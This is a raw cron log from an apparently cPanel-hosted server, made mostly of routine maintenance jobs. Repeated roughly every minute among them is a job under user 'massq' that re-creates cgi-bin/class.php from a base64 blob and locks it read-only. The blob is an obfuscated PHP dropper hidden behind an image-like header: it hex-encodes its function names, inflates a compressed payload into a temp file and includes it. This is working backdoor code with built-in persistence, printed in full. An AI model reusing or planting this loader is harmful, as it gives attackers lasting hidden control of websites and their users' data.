Aug 31 16:14:01 server CROND[3446]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:15:01 server CROND[3840]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:15:01 server CROND[3841]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 16:15:01 server CROND[3844]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 16:15:01 server CROND[3848]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:15:01 server CROND[3846]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:15:01 server CROND[3845]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 16:15:01 server CROND[3849]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 16:15:01 server CROND[3850]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 31 16:15:01 server CROND[3847]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 16:16:01 server CROND[4840]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:16:01 server CROND[4841]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:16:01 server CROND[4842]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:17:01 server CROND[5232]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:17:01 server CROND[5233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:17:01 server CROND[5234]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:18:01 server CROND[5636]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:18:01 server CROND[5637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:18:01 server CROND[5638]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:19:01 server CROND[6021]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:19:01 server CROND[6022]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:19:01 server CROND[6023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:20:01 server CROND[6419]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 16:20:01 server CROND[6420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:20:01 server CROND[6423]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:20:01 server CROND[6418]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:20:01 server CROND[6424]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 16:20:01 server CROND[6421]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 16:20:01 server CROND[6422]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 16:20:01 server CROND[6426]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 16:20:01 server CROND[6417]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 16:21:02 server CROND[7358]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:21:02 server CROND[7359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:21:02 server CROND[7360]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:22:01 server CROND[7736]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:22:01 server CROND[7737]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:22:01 server CROND[7738]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:23:01 server CROND[8135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:23:01 server CROND[8136]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:23:01 server CROND[8137]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:24:01 server CROND[8598]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:24:01 server CROND[8597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:24:01 server CROND[8599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:25:01 server CROND[8994]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:25:01 server CROND[8996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:25:01 server CROND[8998]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 16:25:01 server CROND[8997]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 16:25:01 server CROND[9000]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 16:25:01 server CROND[8999]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:25:01 server CROND[9002]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
